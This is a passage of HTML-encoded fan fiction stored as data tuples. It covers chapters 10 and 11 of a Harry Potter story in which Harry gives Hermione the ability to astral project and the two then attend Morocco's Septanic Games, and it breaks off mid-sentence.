	(13, 10, '\n \n  <p style="text-align:center" align="center"><b>Chapter Number:</b> 10<br>\n    <b>Chapter Name:</b> The Gift</p>\n  <p>&quot; That\'s \n    pretty easy.&#8221; Harry said in his cheery voice. &#8220; I want to give it to Hermione. \n    She is smart, and sensible. I would have given it to Ron,&#8221; Ali quirked his \n    eyebrows for odd reason, &#8220; but since he\'s not a girl I\'ll -&quot;</p>\n  <p>Ali interrupted \n    him. &#8220; You don\'t have to justify your choice, Harry. It is yours, and yours \n    alone. I\'ll guide you through it, and that is as much as I should .&quot; \n    </p>\n  <p>&quot; What \n    do we have to do?&quot;</p>\n  <p>&quot; First \n    we have to go into her room, and then we would-&quot;</p>\n  <p>&quot; Wait&quot; \n    he said putting up his hand to show that he wasn\'t prepared to do it. &quot; \n    I can\'t do that. I said I\'ll ask her permission first before I enter her room. \n    We\'ll tell her tomorrow morning. She\'ll say yes and we\'ll go in.&quot;</p>\n  <p>&quot; You \n    can\'t do that.&quot; said Mr. Pasha.</p>\n  <p>&quot; Why \n    not?&quot; asked Harry, deeply unsettled that he can\'t do what he wants.</p>\n  <p>&quot; It won\'t \n    work if she knows it\'s a test.&quot;</p>\n  <p>&quot; So I \n    have to break a promise?... No I won\'t do it.&quot;</p>\n  <p>&quot; You \n    don\'t see it. Do you? I broke a promise that united your father and mother. \n    Had I kept the promise I had made on my last day at Hogwarts, you would not \n    have had been born. The world would be a hell under the that DarkLord\'s command&#8230;&#8221; \n    He paused a moment. &#8220; Sometimes the promises that we make have to be broken. \n    Do you think she doesn\'t want the gift or is it that you don&#8217;t think she\'s \n    going to die for you?</p>\n  <p>&quot; No!&#8221; \n    Harry said loudly. &#8220; Both Ron and Hermione have always been there for me, \n    when I needed them. They were willing to die for me and I don\'t need a test \n    to see how much they care for me... The have done it in the past and would \n    do it in the future whether or not I give the gift or not.&quot; Harry&#8217;s voice \n    tinged of anger and frustration. </p>\n  <p>&quot; That\'s \n    exactly why you have to give the gift. The gift is given to strengthen friendships. \n    Not as a reward. If you two are great friends she\'ll see that you didn\'t break \n    the promise, since it was there to stop you from peeping on her. Which is \n    not what we are doing... are we Harry?&quot; Asked Mr. Pasha in a soft tone.</p>\n  <p>&quot; No. \n    You\'re right.&quot; </p>\n  <p>&quot; Okay \n    then. Lets make a start shall we?... &quot;</p>\n  <p>Hermione was \n    sleeping in the bed with her whole body covered in a thin blanket and she \n    was sweating profusely. That is the image he saw when he entered. <i>&quot; \n    Harry! Don\'t do it! Don\'t go after him! Harry!&quot; </i>she said softly out, \n    throwing half of the covers off herself, and tossing.</p>\n  <p>&quot; She \n    really cares for you doesn\'t she? Both her and this Ron person I keep hearing \n    from you two. If he is half the friend Hermione is, he would have had made \n    an excellent initiate. You\'re truly lucky to have such good friends&#8230;&#8221; Ali \n    paused. &#8220; Too much mushy stuff. Lets get on with it shall we?.&#8221;</p>\n  <p>Harry gave \n    a nod. Still unwilling to close the rest of the distance. </p>\n  <p>&#8220; Put your \n    right hand&#8230;&#8221; trailed off Ali noticing that Harry wasn&#8217;t next to him. He turned \n    and said, &#8220; if we don&#8217;t get started now, we&#8217;ll be here till morning. We do \n    have a reason for doing this Harry.&#8221;</p>\n  <p>Harry gave \n    a small nod, and took his place. &#8220;&#8220; Put your right hand on her forehead and \n    think about her. Think of the first time you met, the time she helped you, \n    the first time you helped her. Think about the way she - That\'s it.&quot; \n    Cheered Mr. Pasha as he saw the first signs of white glow coming from Harry\'s \n    hand on Hermione\'s forehead.</p>\n  <p>&quot;... Pace \n    yourself, Harry! It\'ll happen by itself, you are only a bystander in this \n    play. If she\'s successful, then it will be done and she\'ll come out of her \n    body. If she\'s not you both wake up in your own body, and she won\'t remember \n    a thing.</p>\n  <p>Harry was waiting \n    for something to happen when he felt his stomach drop and in an instant the \n    scene changed from Hermione\'s face to a white room. From where he was, he \n    could see the room being slowly populated by plants, trees, people, insects, \n    and birds, both magic and muggle. Once all the elements for the scenario had \n    arrived, including two real life statutes of Harry and Voldemort. But they \n    looked like they had been drawn there &#8211; no life.</p>\n  <p>Then there \n    was a burst of yellow, and Hermione was in the middle of the room. The scene \n    suddenly burst into life, and had Harry not already seen everything still, \n    he would have had concluded they were always as lively. </p>\n  <p>It was heart \n    wrenching for him to see Hermione desperately try and warn the Harry-look-alike, \n    but when she could not seem to get his attention she did a desperate thing. \n    She raced to head off the curse before it hit dream Harry on the back, when \n    she was close enough, she pushed his look alike out of the way, getting herself \n    hit by the curse in the process. She fell to the floor with a sickening thud. \n    </p>\n  <p>It was a terrible \n    scene. One that made him almost physically sick. Hermione was the one person \n    he hadn&#8217;t seen die in front of him all summer long. And the scene was a making \n    him sick. He felt unable to really do anything, as first Hermione and then \n    the rest of the scene&#8217;s &#8220;props&#8221; disappeared. Until only he was left there, \n    alone and in that white room, the world seemed like hell. </p>\n  <p>Then with a \n    spectacular white flash Harry was back to sitting on her bed and Harry\'s body \n    glowing in a light shade of green. It turned liquid in the air around him \n    and started to gather mass on top of Hermione\'s sleeping body in the shape \n    of a small tennis ball. As it gathered Harry could see the sphere bob up and \n    down slightly in the imaginary currents in an imaginary river. Seeing Hermione&#8217;s \n    face, still with colour made him relax.</p>\n  <p>As minutes \n    passed, the ball started to diminish in size but at the same time the brightness \n    started to increase at the same rate. When it reached the size of a small \n    coin the sphere could hardly be seen without squinting. Then without warning \n    the small green sphere sped toward Hermione like a bullet and impacted on \n    her chest. The greenness then started to pass right through her body. Once \n    the greenness had enveloped her forehead, Harry could see an imaginary scar \n    shaped leak appear on her forehead for a second before it disappeared. Hermione \n    coughed and sat up on her bed desperately trying to gasp for air.</p>\n  <p>It was weird \n    seeing Hermione both sleeping and sitting up awake from waist up. Hermione \n    came forward and hugged Harry who was still a little shocked. &quot; Oh!&#8221;</p>\n  <p>&#8220; Harry you\'re \n    alright! I had a nightm- &quot;</p>\n  <p>Then she noticed \n    the slight green halo on Harry and mistook him for an angel.</p>\n  <p>&quot; Wait \n    a minute... It wasn\'t a dream was it? I must be dead! Wow this is so&#8230; so&#8230; \n    freaky. So you must be my angel. I died in my dream, so I must have died in \n    real life. Where\'s the white light? How come you don\'t have wings and why \n    don&#8217;t you have white robes on?&quot; said Hermione trying to analyze what \n    had happened.</p>\n  <p><i>&#8216; Leave \n    it to Hermione to ask death how everything worked. Good thing I\'m not death \n    otherwise she might actually get thrown into hell for asking too many questions&#8217; \n    &nbsp;</i>thought \n    Harry. &quot; You\'re not dead, Hermione.&quot;</p>\n  <p>&quot; Then \n    what\'s this-&quot; snapped Hermione at Harry before breaking down and crying \n    from the confusion &quot;-I saw you-know-who fire a curse at me-&quot;. </p>\n  <p>Harry gently \n    pulled her closer and using his right hand slowly lifted up her chin and said, \n    &quot; That was a test. A test to see if you were worthy. I knew you were. \n    But it had to be taken. &quot;</p>\n  <p>Harry made \n    Hermione even more confused, &quot; What test? What are you talking about? \n    Did I pass? I didn&#8217;t did I? I mean, I&#8217;m dead.&quot; </p>\n  <p>Harry shook \n    her a little with his hands on her shoulder. &quot; You\'re. Not. Dead. Hermione. \n    It was a test, and you passed. With more than flying colour.&#8221; He left out \n    how he felt seeing her die. &#8220;I gave you the ability to Astral Project, just \n    like me. I chose you... Well&#8230; That&#8217;s not exactly true. You\'re the only one \n    that I would seriously consider giving the powers to and ... you were the \n    only one that fit the requirements.&quot; </p>\n  <p>Hermione was \n    speechless and Harry mistook it for more confusion. So he tried to say it \n    more simply, &quot; I gave you the ability to read books in you sleep.&quot;</p>\n  <p>Before he even \n    finished saying it he saw Hermione\'s face had lit up as if she had jut received \n    20 years worth of Christmas presents in one day. It was almost the same as \n    the time he had received the Firebolt, her expression was that of pure delight.</p>\n  <p>&quot; You \n    mean I can do the same things as you. Wow.&quot;</p>\n  <p>&quot; Not \n    exactly. I gave you the ability to Astral Project and that\'s it. I couldn\'t \n    give you anything other than that. There are some things you have to know.&#8221; \n    Harry didn&#8217;t know where it was all coming from, but he was saying things as \n    they came to his mind. &#8220; First: You can\'t tell anyone what you know. Not Ron, \n    NOT Victor, NOT your parents, NOT even Professor McGonagall. Not Ever. Is \n    that understood?&quot; He waited for her to nod or say something to that effect.</p>\n  <p>&quot; Yes.&quot; \n    Hermione looked like she was going to bust with excitement.</p>\n  <p>&quot; Second: \n    You have to go easy on going through things. I have a good tolerance for pain \n    now. But at the beginning I have to bear all the pain for you phasing through \n    things. After about four or five moths apparently you slowly start to feel \n    the pain from what I have deduced from the stories that Mr. Pasha told me.&quot;</p>\n  <p>&quot; Okay.&quot; \n    Replied Hermione who was now walking around in circles around Harry, taking \n    in every detail of his Astral self. </p>\n  <p>Bit surprised \n    at Hermione was doing he asked, &quot; Okay... What the hell are you doing!?&quot;</p>\n  <p>&quot; I was \n    just checking out one of my theories...&quot; said Hermione as Harry could \n    have sworn he saw her blush slightly. </p>\n  <p>&quot; You \n    already have theories.... Anyway there is one more thing.... Well it\'s kind \n    of an apology -&quot; said Harry in a voice that was very sincere.</p>\n  <p>&quot; For \n    what?&quot;</p>\n  <p>&quot; Ah I \n    broke the promise I made to you... I wasn\'t supposed to come to your room \n    and I did.&quot; Said Harry grinning broadly while he scratched his Astral \n    Head.</p>\n  <p>&quot; Did \n    you see me naked? Tell me you didn&#8217;t see me change my clothes?&quot; asked \n    Hermione whose face was turning deeper shade of red.</p>\n  <p>Harry vehemently \n    denied that he did any such thing. &quot; No!&quot;</p>\n  <p>&quot; Well... \n    That\'s OK then.&quot; She said. &quot; I trust you, and it&#8217;s not a promise \n    that&#8217;s <i>that</i> important in the great scheme of things. And that was joke \n    promise anyway. I knew you wouldn\'t sneak a peek at me. You\'re not a pervert \n    Harry Potter, at least... I hope not.&quot; They were close before but then \n    Hermione put her arms around Harry and kissed him on the cheek several times. \n    &quot; That was for giving me the best gift I could have had asked for in \n    my whole life.&quot; She pulled herself away from him, before continuing, \n    &quot;You know I\'ve tried to imagine what it was like but it\'s not really \n    that what I thought it would be like.&quot;</p>\n  <p>Harry was bemused \n    and asked her what she thought it was like. &quot;Well for one thing I imagined \n    you...er... Nothing&quot; she stopped and now she was blushing very red indeed.</p>\n  <p>Harry couldn\'t \n    contain himself and from Hermione\'s level of embarrassment he deduced she \n    probably wouldn\'t tell him why she was so embarrassed. So he did the next \n    best thing, to asking her politely. </p>\n  <p>He blackmailed \n    her with the promise that he would take the gift away. He didn\'t know if it \n    was even possible but the bluff worked immediately, as Hermione yielded very \n    quickly.</p>\n  <p>She answered \n    the question in one breath.&quot; Ithoughtyouwalkedaroundnaked! A-andd just \n    didn\'t tell me so I wouldn\'t feel uncomfortable around you!&quot; Hermione \n    blushed even more if that was possible.</p>\n  <p>&quot; You \n    really thought -&quot; Harry started to say it, but broke up in mid sentence \n    laughing, much to Hermione\'s relief.</p>\n  <p>At this point \n    Mr. Pasha put his head part way through the door and asked if it was ok to \n    come in. He told them, that they were going to the Septanic games tomorrow. \n    Since they weren\'t voting they have to sneak in using Astral Projection. So \n    Harry and Hermione had better get used to going through wall and magical elements \n    and then he took his head back out again. </p>\n  <p>&quot; Well \n    we\'d better practice. It\'s gonna be hell&quot; said Harry.</p>\n  <p>&quot; Ok. \n    So want do I do. Just stand here and look pretty.&quot;</p>\n  <p>&quot; NO! \n    You\'re going to go through the walls, metals and magic. We\'re gonna head to \n    my room. If anything bad happens or I can\'t stand the pain anymore, I\'ll wake \n    up. If that happens, you\'ll wake up too. OK.&quot;</p>\n  <p>&quot; So what \n    do -&quot;</p>\n  <p>&quot; Patience. \n    If it\'s one thing I\'ve learnt, it\'s that you have to go very slow.</p>\n  <p>First-&quot; \n    with that the slow crawl to Harry relearning pain tolerance started again.</p>\n  <p>At the beginning \n    the slightest touch by Hermione on anything sent vicious pain right through \n    his body, but by the time Mr. Pasha came to the room in the morning Harry \n    had gone through and almost managed to go through magical object with severe \n    pain. Neither Harry nor Hermione knew that the level of pain that he suffered \n    through to get to that point in his training was something that would take \n    others months to do. </p>\n  <p>Mr. Pasha knew, \n    it might be possible to accelerate Harry\'s pain tolerance if he didn\'t know \n    that it takes about two to three months to become completely immune to the \n    other person\'s pain. But even he was surprised to see how far they had gone \n    in only about six hours. He didn\'t say anything but decided to owl Professor \n    Dumbledore. </p>\n  <p><b>Dear Professor \n    Dumbledore,</b></p>\n  <p>You were right! \n    Partial truths seem to make his abilities better than they really should be. \n    Today he went through six hours of training with Miss Granger and achieved \n    something that the best of us take one or two months to do.</p>\n  <p>I think he \n    has figured out the part about why Snape hates his father and him very much. \n    It was a mistake on my part to leak that information, but I think he has greater \n    respect for him now. Though I had to pretend I didn\'t remember Snape\'s name.</p>\n  <p>I would be \n    honored to take up the job you had offered me before and as such I have decided \n    that I will give both him and Miss Granger advanced training during their \n    stay. I would like to know one thing. Is it just me or is history repeating \n    itself? Miss Granger could almost be a twin of Lily and Harry is very much \n    like James. Is this part of the prophecy or is this simply fate playing a \n    cruel trick on us?</p>\n  <p>There is still \n    the matter of me bringing the flying carpet with me to resolve with the Ministry \n    of Magic in Britain. There is no need for worry at this end, but if it is possible, \n    please exert influence on your side. I would need this equipment often, as \n    I&#8217;m unable to ride a broomstick because of an old war injury. </p>\n  <p>Sincerely Yours</p>\n  <p><b>Mr. A. Pasha<br>\n    </b>Minister \n    for International Affairs<br>\n    Morocco</p>\n  <p>(Signet Locus \n    of 1st order, Maker of the Finest Carpets for<br>\n    twelve years, Champion for Freeman Rights, Govan Arichect)</p>\n  <p>After Mr. Pasha \n    left, Harry re-entered his body and instantly he found himself on the bed. \n    No sooner had he gained his bearings, and recovering from a slight case of \n    a headache, Hermione burst into the room, jumping right on top of him on the \n    bed. Hugging and kissing him like there was no tomorrow. Had it been any other \n    time, he would have had been confused to find out what exactly was the reason \n    for her sudden shower of affection and concern, but he knew the reason this \n    time. He had to literally push her off him, to talk to her.</p>\n  <p>Hermione was \n    still full of spirit when Harry had kicked her off him and to the floor. And \n    that\'s not the only thing she was full of. Questions were shot at him faster \n    than his mind was capable of even understanding them, much less attempt answers \n    to them. &quot; How are you feeling? Does it hurt? Do you need a massage? \n    You want me to go and get breakfast -&quot; She was full of concern for Harry.</p>\n  <p>&quot; It\'s \n    Ok. The pain isn\'t there in the morning and besides after a while you grow \n    to like it. What\'s with the thousand questions?&quot;</p>\n  <p>&quot; Like...Pain \n    &quot; asked Hermione incredulously, looking at Harry as if he was mad. </p>\n  <p>&quot; Yes. \n    I know it\'s a bit strange&quot; replied Harry trying to defend himself, but \n    Hermione cut him off.</p>\n  <p>&quot; A bit?&quot; \n    retorted Hermione.</p>\n  <p>&quot; Well, \n    maybe a lot!&#8221; Harry said feeling his cheeks flame slightly. &#8220; But the thing \n    is, after a while you become used to it. I just thought of something, and \n    I\'m not sure if you\'ll like it.&quot;</p>\n  <p>&quot; What \n    is it?&quot;</p>\n  <p>&quot; Well \n    you know Vold- sorry... You-know -&quot; said Harry.</p>\n  <p>Hermione interrupted, \n    &quot; Harry, you can call him Voldemort.&quot; even as she said it she shivered. \n    &quot; But try to use it sparingly...&quot;</p>\n  <p>He knew Ron \n    would never in a million years agree to say that, no matter how strong Harry \n    got. It was in his blood to call the dark lord, &quot;you-know-who&quot;.</p>\n  <p>&quot; Ok! \n    Voldemort gave me that scar. I haven\'t had a dream all summer and it looks \n    like he hasn\'t turned his attention to me yet. When I gave you the power I \n    saw a scar shape appear in your forehead. I\'m kind of afraid that you\'ll get \n    dragged into the nightmare-It is painful, very painful. Specially the first \n    time. If you want I can stop-&quot;</p>\n  <p>&quot; Don\'t \n    you dare Harry Potter.&quot; said Hermione indignantly, as if Harry had proposed \n    to do something really indecent.</p>\n  <p>&quot; I always \n    wanted to read all the books in the library and now that I have a chance of \n    memorizing all the books, you want to take it away from me. If you do that \n    I\'ll personally kill you.&quot; She said with mock anger, before smiling broadly \n    as she got off the bed. Then she pointed at the bed and told him to stay in \n    it.</p>\n  <p>&quot; Stay! \n    I\'ll be right back. Don\'t move an inch, if you know what\'s good for you.&quot;</p>\n  <p>&quot; OK&quot;</p>\n  <p>Five minutes \n    later, Hermione entered the room, with a tray full of food. She had brought \n    enough for five people. She suddenly took on the personality of her mother \n    who like Mrs. Weasley felt that he didn\'t eat enough. She basically spoon-fed \n    all the food, taking only a little for herself. </p>\n  <p>Mr. Pasha had \n    come into the room at that point and told them that they both had an appointment \n    with the optometrists at 10 am. Both of them quickly finished their food and rushed to get ready. \n    Harry was glad he had changed some of this wizarding money into muggle money \n    since he was going to a muggle doctor. The trip was abnormally normal. It \n    only took five minutes to get through the crowded streets.</p>\n  <p>When they reached \n    the office, they were moderately surprised. Though there was quite a few people \n    there, their number came up fairly soon. Though Hermione originally wanted \n    contacts, she found a set of glasses that she liked better, and in her opinion \n    were better than contacts. </p>\n  <p>She modeled \n    them for Harry, who had to agree with her. It actually made her seem smarter \n    than she already was. Harry did wonder if that was even possible. She was \n    slightly long sighted; exact opposite of Harry who was short sighted.</p>\n  <p>As it turned \n    out Harry needed a pair of new glasses anyway. The powers that they had before \n    needed to be replaced with, not something that was more powerful, but something \n    that was of lesser power. But not by much. (After they had finished their \n    shopping, Mr. Pasha explained that it was most likely Harry\'s self recovery \n    powers kicking in. He told them it was rare, but it was known to happen.) \n    Hermione\'s barely qualified to be called glasses, since they were of so little \n    in power. She was told not to read the books with fine print or to not hold \n    the books too close to her eyes, and it would eventually remove the need to \n    wear anything like that.</p>\n  <p>Harry chose \n    a set of glasses with square shaped lenses, actually Hermione chose the frames \n    that she thought brought out the most of Harry\'s emerald eyes. Harry found \n    it hard to believe that he needed to have that specific pair of glasses, to \n    bring out his eyes. He did not see the need to change from his old faithful \n    round frames to the new rectangular ones that Hermione had chosen for him. \n    He did try to refuse to take them, but Hermione always had a way of making \n    him listen. </p>\n  <p style="text-align:center" align="center">Hermione\'s were similar but hers were made of \n    glittering silver, instead of the plain black of Harry&#8217;s. Though she did manage \n    to get Harry to take the fames that she liked, he absolutely refused to take \n    the dark red ones that she had chosen. Even her smile wasn&#8217;t powerful enough \n    to make him change his mind the second time about the frames. He settled on \n    getting the plain black one. It was a minor victory. But it was a victory \n    none the less.</p>\n  <p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n  <p style="text-align:center" align="center">END OF CHAPTER<br>\n    <b>READ AND REVIEW</b></p>\n\n\n\n'),
	(13, 11, '\n\n\n\n<p><b>&nbsp;</b></p>\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 11<br>\n<b>Chapter Name:</b> The Septanic Games</p>\n\n<p>&nbsp;</p>\n\n<p>When they\nreached home, Mr. Pasha made them eat enough to last three days, though they\nwere going there for only one day but he liked to take precautions. After that\nMr. Pasha lead the way into a secret room that had two entrances - one going\ninto Mr. Pasha\'s bedroom, the other going into the living room. </p>\n\n<p>The room had\nvery high celings and the three beds in the room occupied so little space that\nit looked like they were in a deep cavern. Harry and Hermione took one next to\neach other, and Mr. Pasha took the one at the end of the room. </p>\n\n<p>Ali said the\ngames didn\'t start for another five hours, but he guessed that it would take at\nleast that long to get there, with Harry carrying most of the pain. And Hermione\nwanted to go back into the house every time she felt Harry\'s body tense up,\nwhile they were on their way. Finally Harry snapped and shouted at her. &quot;\nI said, I\'m fine. If you\'re not going I\'m not going. And I WANT TO GO.&quot;</p>\n\n<p>Hermione\ndidn\'t say anything after that, but she cried a lot more. After about half an\nhour, she would make Harry stop after a few minutes, by making an argument.\nHarry knew what she was doing and he played along. He knew she wanted to see\nthe games as much as he did, but she didn\'t want him to go through the pain. It\nwas like him seeing her dead&#8230; he understood what was behind her actions. </p>\n\n<p>When they\nfinally reached the entrance, Harry was apprehensive. He wasn\'t sure if there\nwas a magical shield anywhere. He had to be certain, otherwise their journey\nmight finish prematurely. He turned to Mr. Pasha, who knew what Harry was\nthinking so he said, &quot; There was no magical barrier here. You need to show\nthis to enter.&quot;</p>\n\n<p>With that Mr.\nPasha rolled his sleeve to reveal, a glowing symbol of white and light blue. It\nlooked like the letter \'d\' with the bottom of the vertical part extending both\nways and ending with an arrowhead. &quot;Wow! It\'s beautiful! How did you get\nit?&quot; asked Hermione.</p>\n\n<p>&quot; Well,\nit\'s done when you\'re fifteen. You choose which of clan you want to belong to.\nIf you\'re \'Shoran\' you get a red arrowhead. If you\'re \'Tozan\' like me you get a\nblue arrowhead. Shoran clan\'s magic is mostly influenced by how the ancient\nmages taught magic, through experience. While the Tozan clan teaches it\'s magic\nmore along the lines of what they do in Hogwarts. Theory and practical. There\nare benefits to both systems, but... We\'re wasting timeee -&quot; Mr. Pasha\'s\nvoice trailed off, just as a loud gong sounded, announcing the beginning of the\ntournament. Hermione looked disappointed that she wouldn&#8217;t get to hear more\nabout this.</p>\n\n<p>&quot;... We\nhave very little time. Hurry or we\'ll miss the beginning.&quot; He said. They\nrushed, well as much as they could. As soon as he entered the Dome, Harry felt\na nice and warm feeling wash over him, like had just ate chocolate after seeing\na Dementor. This was the moment that Harry realized that he had started to\nloose the vicious pain. Just so that his skills didn\'t become rusty, he paced\nall around the flat surface, where the battle was supposed to be fought. Harry\'s\neye caught those of an elderly gentleman on the stand for a second. He could\nhave had sworn that man was looking right at him, but dismissed that because no\none could ever see him in his Astral form.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot; Sonorus&quot;\nshouted a thick voice, &quot; Welcome to the sixth Septanic Games. I am your\ncommentator, Zahid Khan. The games will begin in half a minute. Now a word from\nour sponsor.&quot;</p>\n\n<p>From no where\nsomething like what Fred and George had used to display Ron\'s recollection of\nMalfoy turning into a ferret showed up. As Harry moved around the screen kept\nchanging direction to face Harry. Harry guessed that the &quot;screen\nthingy&quot;, has the ability to face every one in the stadium, since no one\nwas complaining that the screen suddenly started to move in odd directions,\nwith Harry&#8217;s haphazard movements.</p>\n\n<p>After about\nhalf an hour of commercials, as voters started to file into the stadium, which\nwas much larger than the one where they held the Quidditch cup. Just from the\nclothes that people wore, Harry could see that this event was much more than\njust voting for a chosen clan. People wore their best clothes, brought enough\nmoney to last through three days of mass shopping and extravagant spending. </p>\n\n<p>When Harry saw\nthe vendors were handing out pamphlets about the individuals that made up the\nteams, he wanted to go read one, but AstralProjecting had it\'s disadvantages.\nSo when Zahid Khan, the commentator who reminded Harry of Ludo Bagman, detailed\nhow the three-day event was to be held, a few minutes late, he was ecstatic. </p>\n\n<p>&nbsp;</p>\n\n<p>The first day\nwas the re-enactment of a battle that was fought about thirteen years ago. It\nwas more of a staged battle, rather than an actual fight. This thankfully\nlasted only half an hour. Then came the real fights. Whole teams against teams,\nuntil sunset. The next day the same thing. Then on the very last day was the\none which most people were interested in. Not only that was the day people\nvoted, but also that was the day the two best fighters fought until only one\nwas conscious &#8211; and in the worst case dead. That was the fight that brought in\nmore people on that day from all over Morocco. &quot;-Remember, A voter is there for his\ncountry.&quot;, finished Zahid Khan in his patriotic voice.</p>\n\n<p>&nbsp;</p>\n\n<p>Two lines of\ncontestants entered the arena, following two very oddly dressed women. The two\nlines of the contestants faced each other, with a hundred meter between them.\nContestants for each team dressed the same, except for one at the end of both\nrows. Harry made his way to where Hermione was and dragged her on to the arena.\nHermione hadn\'t moved from where she was sitting, because she was sure that it\nwould send pain through Harry.</p>\n\n<p>&quot; Come\non...&quot; he said.</p>\n\n<p>&quot; It\'ll\nhurt you...&quot;</p>\n\n<p>&quot; No it\nwon\'t. It stopped a while ago..&quot; he said, wiping away one of Hermione\'s\ntears.</p>\n\n<p><i>&#8216; She does\ncry an awful lot when something bad is happening to me...&#8217; </i>&nbsp;thought Harry, not\nsure if he should be happy that he had such a caring friend, or to be angry\nwith himself for causing her so much anguish. Harry promised himself that he\nwould never knowingly do anything, that would hurt Hermione. </p>\n\n<p>&quot; You\nreally shouldn\'t cry...&quot;</p>\n\n<p>Hermione used\nthe back of her hands to wipe away the tears in her eyes. &quot; Is that\nbetter?&quot; she said half laughing, half still sad at the pain that she\nthought he must have been going through a few seconds ago.</p>\n\n<p>&quot; Much...&quot;</p>\n\n<p>It was a bit\nweird that in Astralform there was no need for the use of glasses. Vision was\nperfect either way. Harry preferred not to have his glasses on in the astral\nform. He didn&#8217;t know how to not want it, so he always took them off in his\nastral form. But Hermione was a different case altogether. She loved the feeling\nshe got when pushed them up her nose bridge. This rather odd habit was one that\nshe picked up in matter of minutes from seeing Harry do it, with his new\nglasses. It was a new sensation to her, and her personality dictated that she\nexplore it fully.</p>\n\n<p>&nbsp;</p>\n\n<p>On the other\nside of the arena, Mr. Pasha was doing something that would have had seemed to\nHarry and Hermione rather odd. He was softly talking to the elderly man to who\nHarry&#8217;s eyes had met briefly. </p>\n\n<p>&quot; It&#8217;s\nhim isn&#8217;t it?&quot; asked Mr. Pasha.</p>\n\n<p>&quot; Yes.\nHard to believe isn&#8217;t it?&quot;</p>\n\n<p>&quot; Are you\nsure? &#8211;I mean it&#8217;s been a long time, you know?&quot;</p>\n\n<p>&quot; I know\n&#8211;but you can hardly forget someone like him-&quot; there was something in his\nvoice that Mr. Pasha thought indicated respect. He could see where it was\ncoming from, but still found it really hard to believe, &quot;- tell me Ali,\nwhat would have done if he didn&#8217;t accelerate this fast in his training &#8211;come to\nthink about it, surely you suspected something. Or have you become a lot less\nsharp in your civilian life?&quot;</p>\n\n<p>&quot; I&#8217;m\nstill as sharp as I ever was,&#8221; said Ali fast and louder than he really should.\n&#8220;&#8230; and as for the matter of recognizing him, it didn&#8217;t come to me until last\nnight.&quot;</p>\n\n<p>&quot; You\nknow what&#8217;s to come then?&quot;</p>\n\n<p>&quot; Yes. I\nwish it didn&#8217;t have to be like this.&quot;</p>\n\n<p>&quot; It&#8217;s\nfor the best and we both know it.&#8221; Sighed the elderly man. &#8220; You still haven&#8217;t\nanswered my question&quot;</p>\n\n<p>&quot; I&#8217;m the\nMinister of International affairs, I could have easily convinced the Minister\nof Magic to let Harry Potter and his friend to be an exception... after all it\nis election season and it&#8217;s good publicity to have the boy who lived in the\npaper next to you.&quot;</p>\n\n<p>The elderly\nman and Mr. Pasha observed not the re-enactment, which was in full swing, but\nthe pair of teenagers running around and animatedly discussing the things all\nthe people were doing.</p>\n\n<p>&quot; He\ndoesn&#8217;t know what he is &#8211;does he, Minister?&quot;</p>\n\n<p>&quot; How\nmany times do I have to tell you to call me Professor? I don&#8217;t like that title,\nthat pompous git gave me (referring to the Morrocan Minister of Magic). If I\nhad a choice I would have ran the other way.&quot;</p>\n\n<p>&quot; As I\nrecall, you did try to run-&quot; said Mr. Pasha ginning.</p>\n\n<p>&quot; Yes.\nYes. You don&#8217;t have to remind me &#8211;Anyway, I suspect he is beginning to see his\nimportance -&quot;</p>\n\n<p>Then the two\nmen started to discuss a topic that would have had made no sense to anyone,\nunless they knew what they were talking about, which no one besides them did. &quot;-but\nI wonder how he ended up there. As far as I knew it&#8217;s impossible to do it for\nmore than two days.&quot;</p>\n\n<p>&quot; I\nknow&quot; agreed Mr. Pasha, &quot; Don&#8217;t you think it&#8217;s a bit odd...I mean,\nHarry and that girl with him, Hermione, it&#8217;s almost like fate reincarnated them\nto live the life they had missed. Together.&quot;</p>\n\n<p>&quot; You\nknow as well as I do that&#8217;s not the case... but I think someone more powerful\nthan fate is guiding his actions&quot; said Professor Dippet.</p>\n\n<p>&quot; Someone\nmore powerful than fate&quot; Mr. Pasha choked on his own words as he said\nthem, &quot; Who do you think it is? Surely you&#8217;re not suggesting what I think\nyou are?&quot;</p>\n\n<p>&quot; I am.&#8221;\nThe older gentleman was adamant. &#8220; The prophecy of Merlin&#8217;s heir in spirit is\nwell known. Not to mention in all the Wizarding cultures it&#8217;s there in some\nform or another. Surely Merlin would have had left some of his own magic behind\nto protect him, atleast until the appointed hour.&quot;</p>\n\n<p>&quot; I guess\nyou could be right. That would explain how he got past the two day limit&quot;\nMr. Pasha agreed reluctantly.</p>\n\n<p>&quot; I think\nthey were meant for each other -&quot; said Professor Dippet, indicating Harry\nand Hermione chasing each other around the arena. &quot; &#8211;they seem to care\ndeeply for each other. I think those two are the only ones who don&#8217;t realize\nit.&quot;</p>\n\n<p>&quot; They&#8217;re\ngoing to turn back this way in a few seconds, I have to go&quot; said Mr. Pasha\nhurriedly, as he made his way back to where he was standing before.</p>\n\n<p>&nbsp;</p>\n\n<p>The\nre-enactment wasn&#8217;t actually that much fun for either Harry or Hermione, so\nthey decided to have some fun for themselves. The real fun started when the\nproper battle against each team began. When it did begin, Harry and Hermione\nwere careful not to get close to spell or curses being thrown around, as\nspells, they were sure would pack a punch a lot stronger that an ordinary\nmagical object. Neither of them wanted to get out of the arena. </p>\n\n<p>Much to\nHarry&#8217;s surprise the Septanic Dueling turned out to be nothing like what he had\nexpected.&nbsp; The Septanic games were nothing but a dueling match combined with\nhand to hand combat. At first Harry was disappointed, but as time wore on, he\nbegan to see the astounding amount of thinking it required a person to do a\nsimple series of attacks.</p>\n\n<p>&nbsp;</p>\n\n<p>The games\nfinished for the day at 9:00pm. Sharp. Ali Pasha wanted to go back to the house, Harry and\nHermione wanted to stay behind. They had somehow got the idea that it would be\na lot of fun if they playacted their own version of the battle. They fought\nwith imaginary wands and dueled for over five hours. At first it was acting,\nbut then as minutes turned into hours, they kept doing the physical ones for real.\n</p>\n\n<p>Hermione had\nhad martial arts lessons when she was young. It was her mom who told her to\ntake that particular hobby up when she was young. According to her mother,\n&quot;these days it\'s important for a girl to know how to defend herself.&quot;</p>\n\n<p>Because of her\nback ground in physical fighting, Hermione was the one who was flipping Harry\nfrom the very beginning. Harry tried very hard not to act like a bull and\ncharge at her at full speed, but never did he manage in all that time that they\nwere there to pull Hermione to the ground.</p>\n\n<p>They ended up\nin quite a few compromising positions (most of the time Harry\'s Astral self\ntrapped under Hermione\'s in some kind of paralyzing position) but they\nrecomposed themselves quickly. </p>\n\n<p>Everything was\ngoing well, a little too well. Harry should have had realized something bad was\ngoing to happen soon to ruin his fun. And 